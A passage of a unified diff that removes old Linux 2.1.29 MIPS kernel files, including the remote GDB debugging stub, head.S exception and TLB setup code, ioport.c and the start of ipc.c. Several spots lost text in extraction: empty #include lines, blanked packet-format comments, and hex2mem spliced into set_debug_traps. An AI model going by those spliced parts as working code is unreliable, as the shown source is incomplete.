$11,GDB_FR_FPR11(sp) - lwc1 $10,GDB_FR_FPR10(sp) - lwc1 $9,GDB_FR_FPR9(sp) - lwc1 $8,GDB_FR_FPR8(sp) - lwc1 $7,GDB_FR_FPR7(sp) - lwc1 $6,GDB_FR_FPR6(sp) - lwc1 $5,GDB_FR_FPR5(sp) - lwc1 $4,GDB_FR_FPR4(sp) - lwc1 $3,GDB_FR_FPR3(sp) - lwc1 $2,GDB_FR_FPR2(sp) - lwc1 $1,GDB_FR_FPR1(sp) - lwc1 $0,GDB_FR_FPR0(sp) - -/* - * Now the CP0 and integer registers - */ - -3: mfc0 t0,CP0_STATUS - ori t0,0x1f - xori t0,0x1f - mtc0 t0,CP0_STATUS - - lw v0,GDB_FR_STATUS(sp) - lw v1,GDB_FR_EPC(sp) - mtc0 v0,CP0_STATUS - mtc0 v1,CP0_EPC - lw v0,GDB_FR_HI(sp) - lw v1,GDB_FR_LO(sp) - mthi v0 - mtlo v0 - lw ra,GDB_FR_REG31(sp) - lw fp,GDB_FR_REG30(sp) - lw gp,GDB_FR_REG28(sp) - lw k1,GDB_FR_REG27(sp) - lw k0,GDB_FR_REG26(sp) - lw t9,GDB_FR_REG25(sp) - lw t8,GDB_FR_REG24(sp) - lw s7,GDB_FR_REG23(sp) - lw s6,GDB_FR_REG22(sp) - lw s5,GDB_FR_REG21(sp) - lw s4,GDB_FR_REG20(sp) - lw s3,GDB_FR_REG19(sp) - lw s2,GDB_FR_REG18(sp) - lw s1,GDB_FR_REG17(sp) - lw s0,GDB_FR_REG16(sp) - lw t7,GDB_FR_REG15(sp) - lw t6,GDB_FR_REG14(sp) - lw t5,GDB_FR_REG13(sp) - lw t4,GDB_FR_REG12(sp) - lw t3,GDB_FR_REG11(sp) - lw t2,GDB_FR_REG10(sp) - lw t1,GDB_FR_REG9(sp) - lw t0,GDB_FR_REG8(sp) - lw a3,GDB_FR_REG7(sp) - lw a2,GDB_FR_REG6(sp) - lw a1,GDB_FR_REG5(sp) - lw a0,GDB_FR_REG4(sp) - lw v1,GDB_FR_REG3(sp) - lw v0,GDB_FR_REG2(sp) - lw $1,GDB_FR_REG1(sp) - lw sp,GDB_FR_REG29(sp) /* Deallocate stack */ - - ERET - .set at - .set reorder - END(trap_low) - -/* end of file gdb-low.S */ diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/gdb-stub.c linux/arch/mips/kernel/gdb-stub.c --- linux-2.1.29/arch/mips/kernel/gdb-stub.c Fri Apr 12 02:49:30 1996 +++ linux/arch/mips/kernel/gdb-stub.c Wed Dec 31 19:00:00 1969 @@ -1,748 +0,0 @@ -/* - * arch/mips/kernel/gdb-stub.c - * - * Originally written by Glenn Engel, Lake Stevens Instrument Division - * - * Contributed by HP Systems - * - * Modified for SPARC by Stu Grossman, Cygnus Support. - * - * Modified for Linux/MIPS (and MIPS in general) by Andreas Busse - * Send complaints, suggestions etc. to - * - * Copyright (C) 1995 Andreas Busse - */ - -/* - * To enable debugger support, two things need to happen. One, a - * call to set_debug_traps() is necessary in order to allow any breakpoints - * or error conditions to be properly intercepted and reported to gdb. - * Two, a breakpoint needs to be generated to begin communication. This - * is most easily accomplished by a call to breakpoint(). Breakpoint() - * simulates a breakpoint by executing a BREAK instruction. - * - * - * The following gdb commands are supported: - * - * command function Return value - * - * g return the value of the CPU registers hex data or ENN - * G set the value of the CPU registers OK or ENN - * - * mAA..AA,LLLL Read LLLL bytes at address AA..AA hex data or ENN - * MAA..AA,LLLL: Write LLLL bytes at address AA.AA OK or ENN - * - * c Resume at current address SNN ( signal NN) - * cAA..AA Continue at address AA..AA SNN - * - * s Step one instruction SNN - * sAA..AA Step one instruction from AA..AA SNN - * - * k kill - * - * ? What was the last sigval ? SNN (signal NN) - * - * bBB..BB Set baud rate to BB..BB OK or BNN, then sets - * baud rate - * - * All commands and responses are sent with a packet which includes a - * checksum. A packet consists of - * - * $#. - * - * where - * :: - * :: < two hex digits computed as modulo 256 sum of > - * - * When a packet is received, it is first acknowledged with either '+' or '-'. - * '+' indicates a successful transfer. '-' indicates a failed transfer. - * - * Example: - * - * Host: Reply: - * $m0,10#2a +$00010203040506070809101112131415#42 - * - */ - -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -/* - * external low-level support routines - */ - -extern int putDebugChar(char c); /* write a single character */ -extern char getDebugChar(void); /* read and return a single char */ -extern void fltr_set_mem_err(void); -extern void trap_low(void); - -/* - * breakpoint and test functions - */ -extern void breakpoint(void); -extern void breakinst(void); -extern void adel(void); - -/* - * local prototypes - */ - -static void getpacket(char *buffer); -static void putpacket(char *buffer); -static void set_mem_fault_trap(int enable); -static int computeSignal(int tt); -static int hex(unsigned char ch); -static int hexToInt(char **ptr, int *intValue); -static unsigned char *mem2hex(char *mem, char *buf, int count, int may_fault); -void handle_exception(struct gdb_regs *regs); -static void show_gdbregs(struct gdb_regs *regs); - -/* - * BUFMAX defines the maximum number of characters in inbound/outbound buffers - * at least NUMREGBYTES*2 are needed for register packets - */ -#define BUFMAX 2048 - -static char input_buffer[BUFMAX]; -static char output_buffer[BUFMAX]; -static int initialized = 0; /* !0 means we've been initialized */ -static const char hexchars[]="0123456789abcdef"; - - -/* - * Convert ch from a hex digit to an int - */ -static int hex(unsigned char ch) -{ - if (ch >= 'a' && ch <= 'f') - return ch-'a'+10; - if (ch >= '0' && ch <= '9') - return ch-'0'; - if (ch >= 'A' && ch <= 'F') - return ch-'A'+10; - return -1; -} - -/* - * scan for the sequence $# - */ -static void getpacket(char *buffer) -{ - unsigned char checksum; - unsigned char xmitcsum; - int i; - int count; - unsigned char ch; - - do { - /* - * wait around for the start character, - * ignore all other characters - */ - while ((ch = (getDebugChar() & 0x7f)) != '$') ; - - checksum = 0; - xmitcsum = -1; - count = 0; - - /* - * now, read until a # or end of buffer is found - */ - while (count < BUFMAX) { - ch = getDebugChar() & 0x7f; - if (ch == '#') - break; - checksum = checksum + ch; - buffer[count] = ch; - count = count + 1; - } - - if (count >= BUFMAX) - continue; - - buffer[count] = 0; - - if (ch == '#') { - xmitcsum = hex(getDebugChar() & 0x7f) << 4; - xmitcsum |= hex(getDebugChar() & 0x7f); - - if (checksum != xmitcsum) - putDebugChar('-'); /* failed checksum */ - else { - putDebugChar('+'); /* successful transfer */ - - /* - * if a sequence char is present, - * reply the sequence ID - */ - if (buffer[2] == ':') { - putDebugChar(buffer[0]); - putDebugChar(buffer[1]); - - /* - * remove sequence chars from buffer - */ - count = strlen(buffer); - for (i=3; i <= count; i++) - buffer[i-3] = buffer[i]; - } - } - } - } - while (checksum != xmitcsum); -} - -/* - * send the packet in buffer. - */ -static void putpacket(char *buffer) -{ - unsigned char checksum; - int count; - unsigned char ch; - - /* - * $#. - */ - - do { - putDebugChar('$'); - checksum = 0; - count = 0; - - while ((ch = buffer[count]) != 0) { - if (!(putDebugChar(ch))) - return; - checksum += ch; - count += 1; - } - - putDebugChar('#'); - putDebugChar(hexchars[checksum >> 4]); - putDebugChar(hexchars[checksum & 0xf]); - - } - while ((getDebugChar() & 0x7f) != '+'); -} - - -/* - * Indicate to caller of mem2hex or hex2mem that there - * has been an error. - */ -static volatile int mem_err = 0; - -/* - * Convert the memory pointed to by mem into hex, placing result in buf. - * Return a pointer to the last char put in buf (null), in case of mem fault, - * return 0. - * If MAY_FAULT is non-zero, then we will handle memory faults by returning - * a 0, else treat a fault like any other fault in the stub. - */ -static unsigned char *mem2hex(char *mem, char *buf, int count, int may_fault) -{ - unsigned char ch; - -/* set_mem_fault_trap(may_fault); */ - - while (count-- > 0) { - ch = *(mem++); - if (mem_err) - return 0; - *buf++ = hexchars[ch >> 4]; - *buf++ = hexchars[ch & 0xf]; - } - - *buf = 0; - -/* set_mem_fault_trap(0); */ - - return buf; -} - -/* - * convert the hex array pointed to by buf into binary to be placed in mem - * return a pointer to the character AFTER the last byte written - */ -static char *hex2mem(char *buf, char *mem, int count, int may_fault) -{ - int i; - unsigned char ch; - -/* set_mem_fault_trap(may_fault); */ - - for (i=0; itt && ht->signo; ht++) - set_except_vector(ht->tt, trap_low); - - /* - * In case GDB is started before us, ack any packets - * (presumably "$?#xx") sitting there. - */ - - putDebugChar ('+'); - initialized = 1; - - breakpoint(); -} - - -/* - * Trap handler for memory errors. This just sets mem_err to be non-zero. It - * assumes that %l1 is non-zero. This should be safe, as it is doubtful that - * 0 would ever contain code that could mem fault. This routine will skip - * past the faulting instruction after setting mem_err. - */ -extern void fltr_set_mem_err(void) -{ - /* FIXME: Needs to be written... */ -} - - -static void set_mem_fault_trap(int enable) -{ - mem_err = 0; - -#if 0 - if (enable) - exceptionHandler(9, fltr_set_mem_err); - else - exceptionHandler(9, trap_low); -#endif -} - -/* - * Convert the MIPS hardware trap type code to a unix signal number. - */ -static int computeSignal(int tt) -{ - struct hard_trap_info *ht; - - for (ht = hard_trap_info; ht->tt && ht->signo; ht++) - if (ht->tt == tt) - return ht->signo; - - return SIGHUP; /* default for things we don't know about */ -} - -/* - * While we find nice hex chars, build an int. - * Return number of chars processed. - */ -static int hexToInt(char **ptr, int *intValue) -{ - int numChars = 0; - int hexValue; - - *intValue = 0; - - while (**ptr) - { - hexValue = hex(**ptr); - if (hexValue < 0) - break; - - *intValue = (*intValue << 4) | hexValue; - numChars ++; - - (*ptr)++; - } - - return (numChars); -} - -/* - * This function does all command processing for interfacing to gdb. It - * returns 1 if you should skip the instruction at the trap address, 0 - * otherwise. - */ -void handle_exception (struct gdb_regs *regs) -{ - int trap; /* Trap type */ - int sigval; - int addr; - int length; - char *ptr; - unsigned long *stack; - -#if 0 - printk("in handle_exception()\n"); - show_gdbregs(regs); -#endif - - /* - * First check trap type. If this is CPU_UNUSABLE and CPU_ID is 1, - * the simply switch the FPU on and return since this is no error - * condition. kernel/traps.c does the same. - * FIXME: This doesn't work yet, so we don't catch CPU_UNUSABLE - * traps for now. - */ - trap = (regs->cp0_cause & 0x7c) >> 2; -/* printk("trap=%d\n",trap); */ - if (trap == 11) { - if (((regs->cp0_cause >> CAUSEB_CE) & 3) == 1) { - regs->cp0_status |= ST0_CU1; - return; - } - } - - /* - * If we're in breakpoint() increment the PC - */ - if (trap == 9 && regs->cp0_epc == (unsigned long)breakinst) - regs->cp0_epc += 4; - - stack = (long *)regs->reg29; /* stack ptr */ - sigval = computeSignal(trap); - - /* - * reply to host that an exception has occurred - */ - ptr = output_buffer; - - /* - * Send trap type (converted to signal) - */ - *ptr++ = 'T'; - *ptr++ = hexchars[sigval >> 4]; - *ptr++ = hexchars[sigval & 0xf]; - - /* - * Send Error PC - */ - *ptr++ = hexchars[REG_EPC >> 4]; - *ptr++ = hexchars[REG_EPC & 0xf]; - *ptr++ = ':'; - ptr = mem2hex((char *)®s->cp0_epc, ptr, 4, 0); - *ptr++ = ';'; - - /* - * Send frame pointer - */ - *ptr++ = hexchars[REG_FP >> 4]; - *ptr++ = hexchars[REG_FP & 0xf]; - *ptr++ = ':'; - ptr = mem2hex((char *)®s->reg30, ptr, 4, 0); - *ptr++ = ';'; - - /* - * Send stack pointer - */ - *ptr++ = hexchars[REG_SP >> 4]; - *ptr++ = hexchars[REG_SP & 0xf]; - *ptr++ = ':'; - ptr = mem2hex((char *)®s->reg29, ptr, 4, 0); - *ptr++ = ';'; - - *ptr++ = 0; - putpacket(output_buffer); /* send it off... */ - - /* - * Wait for input from remote GDB - */ - while (1) { - output_buffer[0] = 0; - getpacket(input_buffer); - - switch (input_buffer[0]) - { - case '?': - output_buffer[0] = 'S'; - output_buffer[1] = hexchars[sigval >> 4]; - output_buffer[2] = hexchars[sigval & 0xf]; - output_buffer[3] = 0; - break; - - case 'd': - /* toggle debug flag */ - break; - - /* - * Return the value of the CPU registers - */ - case 'g': - ptr = output_buffer; - ptr = mem2hex((char *)®s->reg0, ptr, 32*4, 0); /* r0...r31 */ - ptr = mem2hex((char *)®s->cp0_status, ptr, 6*4, 0); /* cp0 */ - ptr = mem2hex((char *)®s->fpr0, ptr, 32*4, 0); /* f0...31 */ - ptr = mem2hex((char *)®s->cp1_fsr, ptr, 2*4, 0); /* cp1 */ - ptr = mem2hex((char *)®s->frame_ptr, ptr, 2*4, 0); /* frp */ - ptr = mem2hex((char *)®s->cp0_index, ptr, 16*4, 0); /* cp0 */ - break; - - /* - * set the value of the CPU registers - return OK - * FIXME: Needs to be written - */ - case 'G': - { -#if 0 - unsigned long *newsp, psr; - - ptr = &input_buffer[1]; - hex2mem(ptr, (char *)registers, 16 * 4, 0); /* G & O regs */ - - /* - * See if the stack pointer has moved. If so, then copy the - * saved locals and ins to the new location. - */ - - newsp = (unsigned long *)registers[SP]; - if (sp != newsp) - sp = memcpy(newsp, sp, 16 * 4); - -#endif - strcpy(output_buffer,"OK"); - } - break; - - /* - * mAA..AA,LLLL Read LLLL bytes at address AA..AA - */ - case 'm': - ptr = &input_buffer[1]; - - if (hexToInt(&ptr, &addr) - && *ptr++ == ',' - && hexToInt(&ptr, &length)) { - if (mem2hex((char *)addr, output_buffer, length, 1)) - break; - strcpy (output_buffer, "E03"); - } else - strcpy(output_buffer,"E01"); - break; - - /* - * MAA..AA,LLLL: Write LLLL bytes at address AA.AA return OK - */ - case 'M': - ptr = &input_buffer[1]; - - if (hexToInt(&ptr, &addr) - && *ptr++ == ',' - && hexToInt(&ptr, &length) - && *ptr++ == ':') { - if (hex2mem(ptr, (char *)addr, length, 1)) - strcpy(output_buffer, "OK"); - else - strcpy(output_buffer, "E03"); - } - else - strcpy(output_buffer, "E02"); - break; - - /* - * cAA..AA Continue at address AA..AA(optional) - */ - case 'c': - /* try to read optional parameter, pc unchanged if no parm */ - - ptr = &input_buffer[1]; - if (hexToInt(&ptr, &addr)) - regs->cp0_epc = addr; - - /* - * Need to flush the instruction cache here, as we may - * have deposited a breakpoint, and the icache probably - * has no way of knowing that a data ref to some location - * may have changed something that is in the instruction - * cache. - * NB: We flush both caches, just to be sure... - */ - - sys_cacheflush((void *)KSEG0,KSEG1-KSEG0,BCACHE); - return; - /* NOTREACHED */ - break; - - - /* - * kill the program - */ - case 'k' : - break; /* do nothing */ - - - /* - * Reset the whole machine (FIXME: system dependent) - */ - case 'r': - break; - - - /* - * Step to next instruction - * FIXME: Needs to be written - */ - case 's': - strcpy (output_buffer, "S01"); - break; - - /* - * Set baud rate (bBB) - * FIXME: Needs to be written - */ - case 'b': - { -#if 0 - int baudrate; - extern void set_timer_3(); - - ptr = &input_buffer[1]; - if (!hexToInt(&ptr, &baudrate)) - { - strcpy(output_buffer,"B01"); - break; - } - - /* Convert baud rate to uart clock divider */ - - switch (baudrate) - { - case 38400: - baudrate = 16; - break; - case 19200: - baudrate = 33; - break; - case 9600: - baudrate = 65; - break; - default: - baudrate = 0; - strcpy(output_buffer,"B02"); - goto x1; - } - - if (baudrate) { - putpacket("OK"); /* Ack before changing speed */ - set_timer_3(baudrate); /* Set it */ - } -#endif - } - break; - - } /* switch */ - - /* - * reply to the request - */ - - putpacket(output_buffer); - - } /* while */ -} - -/* - * This function will generate a breakpoint exception. It is used at the - * beginning of a program to sync up with a debugger and can be used - * otherwise as a quick means to stop program execution and "break" into - * the debugger. - */ -void breakpoint(void) -{ - if (!initialized) - return; - - __asm__ __volatile__(" - .globl breakinst - .set noreorder - nop -breakinst: break - nop - .set reorder - "); -} - -void adel(void) -{ - __asm__ __volatile__(" - .globl adel - la $8,0x80000001 - lw $9,0($8) - "); -} - -/* - * Print registers (on target console) - * Used only to debug the stub... - */ -void show_gdbregs(struct gdb_regs * regs) -{ - /* - * Saved main processor registers - */ - printk("$0 : %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg0, regs->reg1, regs->reg2, regs->reg3, - regs->reg4, regs->reg5, regs->reg6, regs->reg7); - printk("$8 : %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg8, regs->reg9, regs->reg10, regs->reg11, - regs->reg12, regs->reg13, regs->reg14, regs->reg15); - printk("$16: %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg16, regs->reg17, regs->reg18, regs->reg19, - regs->reg20, regs->reg21, regs->reg22, regs->reg23); - printk("$24: %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg24, regs->reg25, regs->reg26, regs->reg27, - regs->reg28, regs->reg29, regs->reg30, regs->reg31); - - /* - * Saved cp0 registers - */ - printk("epc : %08lx\nStatus: %08lx\nCause : %08lx\n", - regs->cp0_epc, regs->cp0_status, regs->cp0_cause); -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/head.S linux/arch/mips/kernel/head.S --- linux-2.1.29/arch/mips/kernel/head.S Mon May 6 05:26:03 1996 +++ linux/arch/mips/kernel/head.S Wed Dec 31 19:00:00 1969 @@ -1,380 +0,0 @@ -/* - * arch/mips/kernel/head.S - * - * Copyright (C) 1994, 1995 Waldorf Electronics - * Written by Ralf Baechle and Andreas Busse - * - * Head.S contains the MIPS exception handler and startup code. - */ -#include - -#include -#include -#include -#include -#include -#include -#include - -#define PAGE_SIZE 0x1000 - -#define MODE_GLOBAL 0x0001 /* shared for all processes */ -#define MODE_ALIAS 0x0016 /* uncachable */ - - .text - .set mips3 -/* - * This is space for the interrupt handlers. - * They are located at virtual address KSEG[01] (physical 0x0) - */ - /* - * TLB refill, EXL == 0 - */ - .set noreorder - .set noat - LEAF(except_vec0) - dmfc0 k1,CP0_CONTEXT - dsra k1,1 - lwu k0,(k1) # May cause another exception - lwu k1,4(k1) - dsrl k0,6 # Convert to EntryLo format - dsrl k1,6 # Convert to EntryLo format - dmtc0 k0,CP0_ENTRYLO0 - dmtc0 k1,CP0_ENTRYLO1 - nop # Needed for R4[04]00 pipeline - tlbwr - nop # Needed for R4[04]00 pipeline - nop - nop - eret - /* - * Workaround for R4000 bug. For explanation see MIPS - * docs. Note that this is so obscure that it will almost - * never happen. Well, but Mips writes about its bugs. - */ - nop - eret - END(except_vec0) - - /* - * XTLB refill, EXL == 0 - * Should never be reached - */ - .org except_vec0+0x80 - LEAF(except_vec1) - PANIC("XTLB Refill exception.\n") -1: j 1b - nop - END(except_vec1) - - /* - * Cache Error - */ - .org except_vec1+0x80 - LEAF(except_vec2) - /* - * Famous last words: unreached - */ - mfc0 a1,CP0_ERROREPC - PRINT("Cache error exception: c0_errorepc == %08x\n") -1: j 1b - nop - END(except_vec2) - - /* - * General exception vector. - */ - .org except_vec2+0x80 - NESTED(except_vec3, 0, sp) - .set noat - /* - * Register saving is delayed as long as we don't know - * which registers really need to be saved. - */ - mfc0 k1,CP0_CAUSE - la k0,exception_handlers - /* - * Next lines assumes that the used CPU type has max. - * 32 different types of exceptions. We might use this - * to implement software exceptions in the future. - */ - andi k1,0x7c - addu k0,k1 - lw k0,(k0) - NOP - jr k0 - nop - END(except_vec3) - .set at - -/******************************************************************************/ - -/* - * Kernel entry - */ - .set noreorder - NESTED(kernel_entry, 16, sp) - /* - * The following two symbols are used for kernel profiling. - */ - EXPORT(stext) - EXPORT(_stext) - -#ifdef CONF_DISABLE_KSEG0_CACHING - /* - * Disable all caching for KSEG0. This option is useful - * when cache trouble with drivers is suspected - */ - mfc0 t0,CP0_CONFIG - ori t0,7 - xori t0,5 - mtc0 t0,CP0_CONFIG -#endif - /* - * Clear BSS first so that there are no surprises... - */ - la t0,_edata - la t1,_end - sw zero,(t0) -1: addiu t0,4 - bnel t0,t1,1b - sw zero,(t0) - - /* - * Initialize low level part of memory management - * First flush the TLB to make sure that we don't get a - * TLB shutdown during wire_mappings. - */ - jal tlbflush - mtc0 zero,CP0_WIRED # delay slot - jal wire_mappings - nop - - /* - * Stack for kernel and init - */ - la sp,init_user_stack+PAGE_SIZE-24 - la t0,init_kernel_stack+PAGE_SIZE - sw t0,kernelsp - - /* - * Disable coprocessors; set ST0_CU0 to indicate that - * we're running on the kernel stack - */ - mfc0 t0,CP0_STATUS - li t1,~(ST0_CU1|ST0_CU2|ST0_CU3) - and t0,t1 - li t1,ST0_CU0 - or t0,ST0_CU0 - mtc0 t0,CP0_STATUS - -1: jal start_kernel - nop # delay slot - /* - * Main should never return here, but - * just in case, we know what happens. - */ - b 1b - nop # delay slot - END(kernel_entry) - -/* - * wire_mappings - used to map hardware registers - */ - LEAF(wire_mappings) - /* - * Get base address of map0 table for the - * the board we're running on - */ - la t0,boot_info - lw t1,OFFSET_BOOTINFO_MACHTYPE(t0) - la t0,map0table - sll t1,PTRLOG # machtype used as index - addu t0,t1 - lw t0,(t0) # get base address - - /* - * Get number of wired TLB entries and - * loop over selected map0 table. - */ - lw t1,(t0) # number of wired TLB entries - move t2,zero # TLB entry counter - addiu t3,t1,1 # wire one additional entry - beqz t1,2f # null, exit - mtc0 t3,CP0_WIRED # delay slot - addiu t0,8 -1: lw t4,24(t0) # PageMask - ld t5,0(t0) # entryHi - ld t6,8(t0) # entryLo0 - ld t7,16(t0) # entryLo1 - addiu t2,1 # increment ctr - mtc0 t2,CP0_INDEX # set TLB entry - mtc0 t4,CP0_PAGEMASK - dmtc0 t5,CP0_ENTRYHI - dmtc0 t6,CP0_ENTRYLO0 - dmtc0 t7,CP0_ENTRYLO1 - addiu t0,32 - bne t1,t2,1b # next TLB entry - tlbwi # delay slot - - /* - * We use only 4k pages. Therefore the PageMask register - * is expected to be setup for 4k pages. - */ -2: li t0,PM_4K - mtc0 t0,CP0_PAGEMASK - - /* - * Now map the pagetables - */ - mtc0 zero,CP0_INDEX - la t0,TLB_ROOT - dmtc0 t0,CP0_ENTRYHI - la t0,swapper_pg_dir-KSEG1 - srl t0,6 - ori t0,(MODE_ALIAS|MODE_GLOBAL) # uncachable, dirty, valid - dmtc0 t0,CP0_ENTRYLO0 - li t0,MODE_GLOBAL - dmtc0 t0,CP0_ENTRYLO1 - nop - tlbwi # delayed - - /* - * Load the context register with a value that allows - * it to be used as fast as possible in tlb exceptions. - * It is expected that this register's content will - * NEVER be changed. - */ - li t0,TLBMAP - dsll t0,1 - dmtc0 t0,CP0_CONTEXT - jr ra # delay slot - nop - END(wire_mappings) - - .data -/* - * Build an entry for table of wired entries - */ -#define MAPDATA(q1,q2,q3,w1) \ - .quad q1; \ - .quad q2; \ - .quad q3; \ - .word w1; \ - .word 0 - -/* - * Initial mapping tables for supported Mips boards. - * First item is always the number of wired TLB entries, - * following by EntryHi/EntryLo pairs and page mask. - * Since everything must be quad-aligned (8) we insert - * some dummy zeros. - */ - -/* - * Address table of mapping tables for supported Mips boards. - * Add your own stuff here but don't forget to define your - * target system in bootinfo.h - */ - -map0table: PTR map0_dummy # machtype = unknown - PTR map0_rpc # Deskstation rPC44 - PTR map0_tyne # Deskstation Tyne - PTR map0_pica61 # Acer Pica-61 - PTR map0_magnum4000 # MIPS Magnum 4000PC (RC4030) - -map0_dummy: .word 0 # 0 entries - - .align 3 -/* - * Initial mappings for Deskstation rPC boards. - * RB: Untested goodie - I don't have such a board. - */ -map0_rpc: .word 2 # no. of wired TLB entries - .word 0 # pad for alignment - -MAPDATA(0xffffffffe0000000, 0x04020017, 0x00000001, PM_1M) # VESA DMA cache -MAPDATA(0xffffffffe2000000, 0x24000017, 0x04000017, PM_16M) # VESA I/O and memory space - -/* - * Initial mappings for Deskstation Tyne boards. - */ -map0_tyne: .word 2 # no. of wired TLB entries - .word 0 # pad for alignment - -MAPDATA(0xffffffffe0000000, 0x04020017, 0x00000001, PM_1M) # VESA DMA cache -MAPDATA(0xffffffffe2000000, 0x24000017, 0x04000017, PM_16M) # VESA I/O and memory space - -/* - * Initial mapping for ACER PICA-61 boards. - * FIXME: These are rather preliminary since many drivers, such as serial, - * parallel, scsi and ethernet need some changes to distinguish between "local" - * (built-in) and "optional" (ISA/PCI) I/O hardware. Local video ram is mapped - * to the same location as the bios maps it to. Console driver has been changed - * accordingly (new video type: VIDEO_TYPE_PICA_S3). - * FIXME: Remove or merge some of the mappings. - */ -map0_pica61: .word 7 # no. wired TLB entries - .word 0 # dummy - -MAPDATA(0xffffffffe0000000, 0x02000017, 0x00000001, PM_64K) # Local I/O space -MAPDATA(0xffffffffe0100000, 0x03c00017, 0x00000001, PM_4K) # Interrupt source register -MAPDATA(0xffffffffe0200000, 0x01800017, 0x01804017, PM_1M) # Local video control -MAPDATA(0xffffffffe0400000, 0x01808017, 0x0180c017, PM_1M) # Extended video control -MAPDATA(0xffffffffe0800000, 0x01000017, 0x01010017, PM_4M) # Local video memory (BIOS mapping) -MAPDATA(0xffffffffe2000000, 0x02400017, 0x02440017, PM_16M) # ISA I/O and ISA memory space (both 16M) -MAPDATA(0xffffffffffffe000, 0x00000001, 0x0001ffd7, PM_4K) # PCR (???) - -/* - * Initial mapping for Mips Magnum 4000PC systems. - * Do you believe me now that the Acer and Mips boxes are nearly the same ? :-) - * FIXME: Remove or merge some of the mappings. - */ - -map0_magnum4000: - .word 8 # no. wired TLB entries - .word 0 # dummy - -MAPDATA(0xffffffffe1000000, 0x03ffc013, 0x00000001, 0x7e000) # 0 -MAPDATA(0xffffffffe0000000, 0x02000017, 0x00000001, 0x1e000) # 1 local I/O -MAPDATA(0xffffffffe0100000, 0x03c00017, 0x00000001, 0) # 2 IRQ source -MAPDATA(0xffffffffe0200000, 0x01800017, 0x01804017, 0x1fe000) # 3 local video ctrl -MAPDATA(0xffffffffe0400000, 0x01808017, 0x0180c017, 0x1fe000) # 4 ext. video ctrl -MAPDATA(0xffffffffe0800000, 0x01000017, 0x01010017, 0x7fe000) # 5 local video mem. -MAPDATA(0xffffffffe2000000, 0x02400017, 0x02440017, 0x1ffe000) # 6 ISA I/O and mem. -MAPDATA(0xffffffffffffe000, 0x00000001, 0x0001ffd7, 0) # 7 PCR - - - .text - - .org 0x1000 - .globl swapper_pg_dir -swapper_pg_dir = . + (KSEG1-KSEG0) - -/* - * The page tables are initialized to only 4MB here - the final page - * tables are set up later depending on memory size. - */ - .org 0x2000 - EXPORT(pg0) - - .org 0x3000 - EXPORT(empty_bad_page) - - .org 0x4000 - EXPORT(empty_bad_page_table) - - .org 0x5000 - EXPORT(empty_zero_page) - - .org 0x6000 - EXPORT(invalid_pte_table) - - .org 0x7000 - - EXPORT(cache_error_buffer) - .fill 32*4,1,0 - - .data - EXPORT(kernelsp) - PTR 0 diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/ioport.c linux/arch/mips/kernel/ioport.c --- linux-2.1.29/arch/mips/kernel/ioport.c Wed Dec 13 05:39:43 1995 +++ linux/arch/mips/kernel/ioport.c Wed Dec 31 19:00:00 1969 @@ -1,36 +0,0 @@ -/* - * linux/arch/mips/kernel/ioport.c - */ -#include -#include -#include -#include -#include - -/* - * This changes the io permissions bitmap in the current task. - */ -asmlinkage int sys_ioperm(unsigned long from, unsigned long num, int turn_on) -{ - return -ENOSYS; -} - -unsigned int *stack; - -/* - * sys_iopl has to be used when you want to access the IO ports - * beyond the 0x3ff range: to get the full 65536 ports bitmapped - * you'd need 8kB of bitmaps/process, which is a bit excessive. - * - * Here we just change the eflags value on the stack: we allow - * only the super-user to do it. This depends on the stack-layout - * on system-call entry - see also fork() and the signal handling - * code. - */ -asmlinkage int sys_iopl(long ebx,long ecx,long edx, - long esi, long edi, long ebp, long eax, long ds, - long es, long fs, long gs, long orig_eax, - long eip,long cs,long eflags,long esp,long ss) -{ - return -ENOSYS; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/ipc.c linux/arch/mips/kernel/ipc.c --- linux-2.1.29/arch/mips/kernel/ipc.c Sat May 10 18:17:09 1997 +++ linux/arch/mips/kernel/ipc.c Wed Dec 31 19:00:00 1969 @@ -1,135 +0,0 @@ -/* - * linux/arch/mips/kernel/ipc.c - * - * This file contains various random system calls that - * have a non-standard calling sequence on the Linux/i386 - * platform. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -/* - * sys_ipc() is the de-multiplexer for the SysV IPC calls.. - * - * This is really horribly ugly; removing this will need some minor - * changes in libc. - */ -asmlinkage int sys_ipc (uint call, int first, int second, int third, void *ptr, long fifth) -{ -#ifdef CONFIG_SYSVIPC - int version, ret; - - lock_kernel(); - version = call >> 16; /* hack for backward compatibility */ - call &= 0xffff; - - if (call <= SEMCTL) - switch (call) { - case SEMOP: - ret = sys_semop (first, (struct sembuf *)ptr, second); - goto out; - case SEMGET: - ret = sys_semget (first, second, third); - goto out; - case SEMCTL: { - union semun fourth; - ret = -EINVAL; - if (!ptr) - goto out; - if ((ret = verify_area (VERIFY_READ, ptr, sizeof(long)))) - goto out; - fourth.__pad = (void *) get_fs_long(ptr); - ret = sys_semctl (first, second, third, fourth); - goto out; - } - default: - ret = -EINVAL; - goto out; - } - if (call <= MSGCTL) - switch (call) { - case MSGSND: - ret = sys_msgsnd (first, (struct msgbuf *) ptr, - second, third); - goto out; - case MSGRCV: - switch (version) { - case 0: { - struct ipc_kludge tmp; - if (!ptr) - return -EINVAL; - if ((ret = verify_area (VERIFY_READ, ptr, sizeof(tmp)))) - goto out; - memcpy_fromfs (&tmp,(struct ipc_kludge *) ptr, - sizeof (tmp)); - ret = sys_msgrcv (first, tmp.msgp, second, tmp.msgtyp, third); - goto out; - } - case 1: default: - ret = sys_msgrcv (first, (struct msgbuf *) ptr, second, fifth, third); - goto out; - } - case MSGGET: - ret = sys_msgget ((key_t) first, second); - goto out; - case MSGCTL: - ret = sys_msgctl (first, second, (struct msqid_ds *) ptr); - goto out; - default: - ret = -EINVAL; - goto out; - } - if (call <= SHMCTL) - switch (call) { - case SHMAT: - switch (version) { - case 0: default: { - ulong raddr; - if ((ret = verify_area(VERIFY_WRITE, (ulong*) third, sizeof(ulong)))) - goto out; - ret = sys_shmat (first, (char *) ptr, second, &raddr); - if (ret) - goto out; - put_fs_long (raddr, (ulong *) third); - ret = 0; - goto out; - } - case 1: 